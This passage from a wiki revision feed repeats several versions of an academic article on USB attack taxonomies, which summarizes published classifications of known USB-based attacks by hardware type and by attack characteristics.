* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17063</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17063"/>
		<updated>2024-12-13T14:22:39Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17062</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17062"/>
		<updated>2024-12-13T14:21:41Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17061</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17061"/>
		<updated>2024-12-13T14:20:44Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt; &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be |author=Joanna Goodrich |date=22 February 2022 |access-date=13 December 2024}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
